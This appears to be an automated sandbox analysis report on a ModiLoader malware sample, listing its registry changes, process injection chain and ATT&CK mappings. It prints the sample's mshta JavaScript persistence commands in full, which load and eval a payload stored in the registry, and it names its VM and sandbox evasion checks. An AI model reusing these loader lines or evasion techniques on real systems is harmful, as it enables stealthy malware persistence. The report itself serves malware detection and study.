modiloader | 6dc6ec7750a584d5de7760d053165b3c435d01b53e006b7a6c6cc05e0bad3703

Modify Registry

Processes:

dllhost.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	dllhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:M2GL2Krw=\"drBt8tlbUT\";GM07=new%20ActiveXObject(\"WScript.Shell\");t8OGx3DNF=\"tYIMC73Gi\";z00LTl=GM07.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\0591bbf4\\\\545296b4\");av4f2nPw=\"Z\";eval(z00LTl);GIi1sva=\"NI\";"	dllhost.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

dllhost.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools dllhost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	dllhost.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

dllhost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	dllhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	dllhost.exe

Deletes itself 1 IoCs

Processes:

dllhost.exe

pid process

2708 dllhost.exe

pid	process
2708	dllhost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

Processes:

dllhost.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:o4Ijb3sjCh=\"8hy2rtx\";Wp9=new%20ActiveXObject(\"WScript.Shell\");mxgLDZc7P=\"bM\";Ar3xZ=Wp9.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\0591bbf4\\\\545296b4\");TqkUOO4ja=\"ntsmX7gkw\";eval(Ar3xZ);lDfN3lm=\"XY1E8RB\";"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:hiDKWq4W=\"p\";n0r=new%20ActiveXObject(\"WScript.Shell\");cppDLB2t=\"C0d\";BGT61u=n0r.RegRead(\"HKCU\\\\software\\\\0591bbf4\\\\545296b4\");juLXZsn1E3=\"sJSRCp5\";eval(BGT61u);Fe3qnXeOU=\"n3m6U\";"	dllhost.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

dllhost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	dllhost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	dllhost.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

VirusShare_3f623789626c5cf5c97ca33f15819c20.exe

description	pid	process	target process
PID 2844 set thread context of 2564	2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

Processes:

dllhost.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\International	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

VirusShare_3f623789626c5cf5c97ca33f15819c20.exedllhost.exe

pid	process
2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe

Suspicious behavior: MapViewOfSection 12 IoCs

Processes:

VirusShare_3f623789626c5cf5c97ca33f15819c20.exedllhost.exedllhost.exe

pid	process
2564	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
2564	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
2564	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
2672	dllhost.exe
2672	dllhost.exe
2672	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

VirusShare_3f623789626c5cf5c97ca33f15819c20.exe

pid process

2844 VirusShare_3f623789626c5cf5c97ca33f15819c20.exe

Suspicious use of WriteProcessMemory 27 IoCs

Processes:

VirusShare_3f623789626c5cf5c97ca33f15819c20.exeVirusShare_3f623789626c5cf5c97ca33f15819c20.exedllhost.exedllhost.exe

description	pid	process	target process
PID 2844 wrote to memory of 2564	2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
PID 2844 wrote to memory of 2564	2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
PID 2844 wrote to memory of 2564	2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
PID 2844 wrote to memory of 2564	2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
PID 2844 wrote to memory of 2564	2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
PID 2844 wrote to memory of 2564	2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
PID 2844 wrote to memory of 2564	2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
PID 2844 wrote to memory of 2564	2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
PID 2844 wrote to memory of 2564	2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
PID 2844 wrote to memory of 2564	2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
PID 2844 wrote to memory of 2564	2844	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
PID 2564 wrote to memory of 2672	2564	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	dllhost.exe
PID 2564 wrote to memory of 2672	2564	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	dllhost.exe
PID 2564 wrote to memory of 2672	2564	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	dllhost.exe
PID 2564 wrote to memory of 2672	2564	VirusShare_3f623789626c5cf5c97ca33f15819c20.exe	dllhost.exe
PID 2672 wrote to memory of 2708	2672	dllhost.exe	dllhost.exe
PID 2672 wrote to memory of 2708	2672	dllhost.exe	dllhost.exe
PID 2672 wrote to memory of 2708	2672	dllhost.exe	dllhost.exe
PID 2672 wrote to memory of 2708	2672	dllhost.exe	dllhost.exe
PID 2708 wrote to memory of 2548	2708	dllhost.exe	dllhost.exe
PID 2708 wrote to memory of 2548	2708	dllhost.exe	dllhost.exe
PID 2708 wrote to memory of 2548	2708	dllhost.exe	dllhost.exe
PID 2708 wrote to memory of 2548	2708	dllhost.exe	dllhost.exe
PID 2708 wrote to memory of 2572	2708	dllhost.exe	explorer.exe
PID 2708 wrote to memory of 2572	2708	dllhost.exe	explorer.exe
PID 2708 wrote to memory of 2572	2708	dllhost.exe	explorer.exe
PID 2708 wrote to memory of 2572	2708	dllhost.exe	explorer.exe

C:\Users\Admin\AppData\Local\Temp\VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
"C:\Users\Admin\AppData\Local\Temp\VirusShare_3f623789626c5cf5c97ca33f15819c20.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2844

C:\Users\Admin\AppData\Local\Temp\VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
C:\Users\Admin\AppData\Local\Temp\VirusShare_3f623789626c5cf5c97ca33f15819c20.exe
2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2564

C:\Windows\SysWOW64\dllhost.exe
dllhost.exe
3⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2672

C:\Windows\SysWOW64\dllhost.exe
dllhost.exe
4⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2708

C:\Windows\SysWOW64\dllhost.exe
"C:\Windows\SysWOW64\dllhost.exe"
5⤵
PID:2548

C:\Windows\SysWOW64\explorer.exe
explorer.exe
5⤵
PID:2572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

3

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

Software Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion